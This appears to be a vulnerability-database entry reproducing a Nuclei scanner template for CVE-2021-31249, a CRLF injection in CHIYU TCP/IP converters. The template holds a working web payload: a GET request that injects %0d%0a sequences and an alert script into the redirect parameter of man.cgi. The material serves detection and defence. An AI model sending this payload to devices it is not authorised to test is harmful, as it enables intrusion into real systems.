CHIYU TCP/IP Converter BF-430, BF-431, and BF-450 are susceptible to carriage return line feed injection. The redirect= parameter, available on multiple CGI components, is not properly validated, thus enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2021-31249
info:
name: CHIYU TCP/IP Converter - Carriage Return Line Feed Injection
author: geeknik
severity: medium
description: CHIYU TCP/IP Converter BF-430, BF-431, and BF-450 are susceptible to carriage return line feed injection. The redirect= parameter, available on multiple CGI components, is not properly validated, thus enabling an attacker to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability can lead to remote code execution, unauthorized access, or data manipulation.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the vulnerability.
reference:
- https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31249
- https://www.chiyu-tech.com/msg/message-Firmware-update-87.html
- https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks/
- https://nvd.nist.gov/vuln/detail/CVE-2021-31249
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2021-31249
cwe-id: CWE-74
epss-score: 0.9258
epss-percentile: 0.99732
cpe: cpe:2.3:o:chiyu-tech:bf-430_firmware:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: chiyu-tech
product: bf-430_firmware
tags: cve2021,cve,chiyu,crlf,iot,chiyu-tech
http:
- method: GET
path:
- "{{BaseURL}}/man.cgi?redirect=setting.htm%0d%0a%0d%0a<script>alert(document.domain)</script>&failure=fail.htm&type=dev_name_apply&http_block=0&TF_ip0=192&TF_ip1=168&TF_ip2=200&TF_ip3=200&TF_port=&TF_port=&B_mac_apply=APPLY"
matchers-condition: and
matchers:
- type: word
part: header
words:
- "Location: setting.htm"
- "<script>alert(document.domain)</script>"
condition: and
- type: status
status:
- 302
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